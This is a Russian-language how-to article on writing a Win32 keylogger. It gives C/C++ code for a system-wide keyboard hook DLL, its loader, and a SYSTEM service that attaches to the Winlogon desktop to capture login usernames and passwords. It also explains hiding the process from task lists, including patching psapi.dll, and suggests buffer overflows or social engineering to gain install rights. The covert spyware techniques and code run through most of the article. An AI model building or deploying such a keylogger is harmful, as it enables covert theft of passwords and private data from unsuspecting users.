**Реализация keylogging под WIN32**

Марк Ермолов

Одним из самых простых методов съёма информации с персонального компьютера является установка на компьютер пользователя программы, производящей учёт нажатий клавиш. Данный метод можно легко осуществить при физическом доступе на интересующий компьютер. Установить кейлоггер можно также и удаленно, используя ошибки в реализациях сервисов объекта, но мы опустим методы установки в данной статье.

Существует большое количество уже готовых программ-кейлоггеров. Однако во-первых большинство из них уже определяются антивирусными программами, во-вторых, зачастую, их функциональность оставляет желать лучшего, либо они работают крайне нестабильно. Одним из видов программ, осуществляющих съём информации, являются KeyLogger-ы (дословно регистратор клавиш). Они регистрируют все нажатые клавиши на клавиатуре, обрабатывают полученную информацию и сохраняют её в файл. Поскольку закрытая информация (пароли, документы, и т.д.) набирается с клавиатуры, KeyLogger является одним из средств её получения.

В операционной системе MSDOS кейлоггер данного вида просто перехватывает прерывание от клавиатуры (int 16h) и нужным образом его обрабатывает. В Win32 все сложнее. Будет уместным описать метод регистрации всех нажатых клавиш с помощью системных ловушек или фильтров (hooks). Этот метод работает как под Win95/98/Millennium так и под WIN NT/2000/XP. В качестве языка программирования для этой задачи стоит выбрать C/C++, а средой разработки MS Visual C++. Ассемблер для этих целей подходит лучше, но писать на Ассемблере в Win32 слишком утомительно и долго.

В Win32 API присутствует функция SetWindowsHookEx. Она позволяет определить некоторую (собственную) функцию которая будет срабатывать каждый раз при наступлении некоторого события (получение программой сообщения, нажатия клавиши на клавиатуре, создания окна и т.д.). Полное описание данной функции можно прочитать в MSDN (Microsoft Developer Network Library).

Первый параметр данной функции указывает событие, на которое мы ставим ловушку. В нашем случае - клавиатура - WH\_KEYBOARD.

На втором месте в обработчике вызова мы должны указать адрес функции, которая будет вызываться каждый раз при наступлении данного события. Вид этой функции (для обработки нажатий клавиш) следующий:

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);

где: code - способ обработки клавиши приложением.

wParam - содержит виртуальный код нажатой клавиши.

lParam - представляет собой 4-x байтовую структуру данных, где в качестве полей выступают её биты. Биты 0-15 определяют сколько раз произошло событие (значение отлично от 1 в случае, если клавиша удерживается некоторое время), биты 16-23 определяют scan-код нажатой (отпущенной) клавиши, а 31-ый бит определяет, была ли клавиша нажата или отпущена.

Параметр code применяется для отсеивания лишних событий. Например, при наборе в MS Word текста "123" наш обработчик получит по паре событий на каждое нажатие клавиши ("112233") При поступлении интересующего нас сообщения сообщения данный параметр равен HC\_ACTION.

Поскольку KeyboardProc используется системой, мы должны при описании указать CALLBACK.

Итак, для обработки нажатых клавиш мы должны написать свою процедуру KeyboardProc примерно следующим образом:

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)

{

DWORD IsDown, ScanCode;

IsDown = !(lParam >> 31);

ScanCode = lParam << 8;

ScanCode >>= 24;

if (IsDown && code == HC\_ACTION)

ProccessDownKey(wParam, (unsigned char)ScanCode);//Обрабатываем

return 0;

}

В MSDN сказано, что если параметр code < 0, то нужно предать управление следующей ловушке вызовом CallNextHookEx, но на практике можно этого не делать, а просто возвратить из KeyboardProc 0 и все будет работать.

Третий параметр SetWindowsHookEx - дескриптор модуля в котором находится KeyboardProc, а четвертый - идентификатор потока, для которого устанавливается ловушка (0 - для всех потоков в системе). Фильтр может устанавливаться как на один поток одного приложения, так и на все потоки всех приложений. В последнем (наиболее интересном) случае KeyboardProc должна находиться в DLL (Dynamic Link Library). Так сделано из-за особенностей архитектуры Windows, в которой каждый процесс имеет свое адресное пространство. С помощью Visual C++ реализация собственной dll-библиотеки является несложной.

Важным моментом является то, что при запуске каждой новой программы при активном фильтре, Windows создает новую копию всех данных DLL, содержащей KeyboardProc, и динамическая библиотека внедряется в адресное пространство запускаемого процесса. Поэтому все глобальные данные следует хранить следующим образом:

1. В исходном коде DLL написать следующее:

#pragma data\_seg(".SHAREDDATA")

/\*

...

...

Глобальные данные

....

Например:\*/

static char logFileName[128] = {0}; //Имя файла отчета

static int dllsCount; //Число внедренных DLL

// и т.д.

#pragma data\_seg()

2. В .def - файле библиотеки написать:

SECTIONS

.SHAREDDATA Read Write Shared

При обработки события от клавиатуры возникает проблема: Как получить символ (например 'A' или 'a', 's' или 'ы'), который действительно вводил пользователь. Для этого можно воспользоваться функциями ToAscii и ToUnicode, которые позволяют по scan-коду и виртуальному коду, а также состоянию клавиатуры определить конкретный символ.

Мы опустим подробное описание механизма загрузки DLL, и получения адреса функции, а приведём пример непосредственного использования нашей библиотеки.

Пусть библиотека, содержащая необходимую нам функцию KeyboardProc, называется hooklib.dll.

#include <windows.h>

int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

{

HHOOK hHook;

HINSTANCE hLib;

HOOKPROC pKeybrdProc;

hLib = LoadLibrary("hooklib.dll");

if (hLib == NULL)

return 0; //Ошибка

pKeybrdProc = reinterpret\_cast<HOOKPROC>(GetProcAddress(hLib, "KeyboardProc"));

if (pKeybrdProc == NULL) {

FreeLibrary(hLib); //Ошибка

return 0;

}

hHook = SetWindowsHookEx(WH\_KEYBOARD, pKeybrdProc, hLib, 0);

if (hHook == NULL) {

FreeLibrary(hLib); //Ошибка

return 0;

}

//....

//GetMessage и т. д. пока не поступит WM\_QUERYENDSESSION

//....

UnhookWindowsHookEx(hHook);

FreeLibrary(hLib);

return 0;

}

Примечательно, что данный метод работает и в Windows NT/2000/XP, поскольку функция SetWindowsHookEx не требует никаких привилегий (например SeDebugPrivilege) и будет работать даже под обычным пользователем. Это можно воспринимать как слабину в системе безопасности NT/2000/XP, поскольку всё же происходит внедрение в адресное пространство процесса. (Вспомним атаку GetAdmin, где с помощью внедрения в процесс, в NT без SP3 можно было получить права администратора под пользователем guest!!!).

Более подробную информацию по фильтрам вы можете найти в MSDN, в статье "Win32 Hooks".

Важным моментом любой программы такого рода является маскировка.

В Win95/98/Millennium программу можно скрыть из списка задач функцией RegisterServiceProcess, после этого она не будет видна в списке задач taskman'a, показываемом по нажатии "Ctrl + Alt + Del". Однако любой менеджер процессов (к примеру, SysInfo) всё равно покажет нашу программу, поэтому при написании нужно создавать и информацию о версии. Так будет менее заметней. SysInfo также определяет все установленные в системе ловушки. Функцию RegisterServiceProcess просто так вызвать не удастся, поскольку она не объявленна в windows.h (winuser.h и т.д.). Её нужно вызывать напрямую из KERNEL32.DLL. Она имеет следующий прототип:

DWORD RegisterServiceProcess(DWORD dwProcessId, DWORD dwType);

где dwProcessId - Id процесса(0 - вызывающий), а dwType = 1, если делаем процесс сервисом, и 0, если убираем сервисные свойства.

Решить задачу маскировки в системах NT/2000/XP куда сложней. Одним из способов можно считать подмену psapi.dll из WINNT\system32 таким образом, чтобы в записи для функции EnumProcesses в таблице экспорта этой dll, точка входа (entry point) указывала не на настоящую реализацию этой функции, на некоторую собственную, с последующим вызовом оригинала. Однако этот механизм не будет работать для тех приложений, которые 'жестко' связаны с psapi.dll с помощью утилиты bind.exe.

Точки входа для каждой экспортируемой функции из любой dll можно посмотреть с помощью утилиты depends входящий в поставку Platform SDK.

Также считаю уместным рассказать в данной статье, как сделать кейлоггер для NT/2000/XP так, чтобы он мог получать информацию (имя пользователя и пароль), которая набирается с клавиатуры при входе пользователя в систему. Данная задача осложняется двумя факторами:

Система отображает приглашение на вход (нажмите Ctrl+Alt+Del и т.д.) до запуска любого пользовательского процесса. То есть, если ваша программа-шпион запускается автоматически или из системной папки Startup или из раздела реестра Run или из некоторых системных ini-файлов, то она не сможет получить информацию, о которой идет речь, просто потому, что ее запуск произойдет уже после того, как пользователь вошел в систему. При попытке завершить сеанс работы и войти под другим пользователем, ваша программа так же будет завершена и запушена после регистрации пользователя в системе.

Окно ввода пароля и входного имени (также как и окно приглашения) защищено отдельным механизмом windows, называемым 'рабочий стол' (Desktop - опять же, смотрите MSDN) и процессы, запушенные из-под других рабочих столов, физически не имеют доступа к этим окнам. (даже функция FindWindow их не найдет). Таким образом, и фильтр, установленный функцией SetWindowsHookEx, не будет срабатывать на действия в интересующих нас окнах.

Для решения этих проблем предлагаю следующий механизм:

Во-первых, приложение, устанавливающее фильтр клавиш, должно быть оформлено в виде сервиса Win32. (Как сделать сервис можно прочитать в MSDN - глава "Services" раздела "Platform SDK: DLLs, Processes and Threads".)

Во-вторых, сервис должен быть зарегистрирован как запускаемый автоматически (SERVICE\_AUTO\_START - смотрите описание функции CreateService); ну и много же прав вам понадобиться, что бы зарегистрировать сервис ;-). Ну ничего, всегда найдутся ошибки переполнения буфера и т.д. В конце - концов, можно попытать счастье в социальной инженерии.

И наконец, самое главное: Имя рабочего стола c окном ввода пароля - "Winlogon" и он находится в интерактивной 'оконной станции' (window station) c именем "Winsta0". Таким образом, чтобы процесс (точнее его поток) мог попасть в данный рабочий стол и установить там ловушку нужно воспользоваться функциями Win32 API OpenWindowStation, SetProcessWindowStation, OpenDesktop и SetThreadDesktop. (cм. Главу "Interactive Services" из MSDN). Если эти функции вызывать из-под сервиса, запускаемого под System - стандартное поведение после регистрации с помощью CreateService с предпоследним параметром равным NULL, то прав хватит сполна и для вызова этих функций и для установки ловушки так, чтобы она обрабатывала интересующие нас окна процесса Winlogon.exe. В качестве параметров, которые обозначают имена этих объектов (рабочий стол, оконная станция), нужно задать приведенные выше значения. Механизм подключения к рабочему столу должен предшествовать вызову функции SetWindowsHookEx. Примечание: не забудьте добавить отдельный поток на пользовательский рабочий стол - "default" из "Winsta0", иначе ловушка не сможет регистрировать действия пользователя после входа в систему. Также хочу отметить, что для не интерактивных сервисов системой создается отдельная оконная станция и рабочий стол, в котором они и запускаются. То есть, без подключения к некоторому реальному рабочему столу, вызывать функцию SetWindowsHookEx из сервиса не имеет смысла.

Приведу небольшой пример реализации сервиса и подключения к рабочему столу. В данном примере я опустил всю обработку ошибок.

#include <windows.h>

void WINAPI MyServiceStart(DWORD, LPTSTR \*);

void WINAPI MyServiceCtrlHandler(DWORD);

void ServiceWorkFunction();

SERVICE\_STATUS\_HANDLE MyServiceStatusHandle;

int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

{

SERVICE\_TABLE\_ENTRY DispatchTable[] = {{"MyService", MyServiceStart},

{NULL, NULL}};

//Вызываем точку входа сервиса

StartServiceCtrlDispatcher(DispatchTable);

}

void WINAPI MyServiceStart(DWORD, LPTSTR \*)

{

SERVICE\_STATUS MyServiceStatus = {0};

MyServiceStatus.dwServiceType = SERVICE\_WIN32;

MyServiceStatus.dwCurrentState = SERVICE\_RUNNING;

//Регистрируем обработчик событий сервиса

MyServiceStatusHandle = RegisterServiceCtrlHandler("MyService",

MyServiceCtrlHandler);

SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);

ServiceWorkFunction();

}

void WINAPI MyServiceCtrlHandler(DWORD)

{

SERVICE\_STATUS MyServiceStatus = {0};

MyServiceStatus.dwServiceType = SERVICE\_WIN32;

MyServiceStatus.dwCurrentState = SERVICE\_RUNNING;

SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);

}

void ServiceWorkFunction()

{

HWINSTA hWS;

HDESK hDT;

//Подключаемся к оконной станции

hWS = OpenWindowStation("Winsta0", FALSE, GENERIC\_ALL);

SetProcessWindowStation(hWS);

//Подключаемся к рабочему столу

hDT = OpenDesktop("Winlogon", 0, FALSE, GENERIC\_ALL);

SetThreadDesktop(hDT);

//SetWindowsHookEx и т.д.

}

Вопросы присылайте на e-mail: http://bugtraq.ru/library/programming/ermolov\_mark@mail.ru

P.S.

Всем желающим создавать подобные программы хочу порекомендовать несколько замечательных книг:

**Список литературы**

"Внутреннее устройство Windows 2000", Д. Соломон, М. Руссинович

"Программирование серверных приложений для Windows 2000", Дж. Рихтер, Дж. Кларк

"Windows для профессионалов", Дж. Рихтер

а также утилиты procexp.exe и winobj.exe от sysinternals.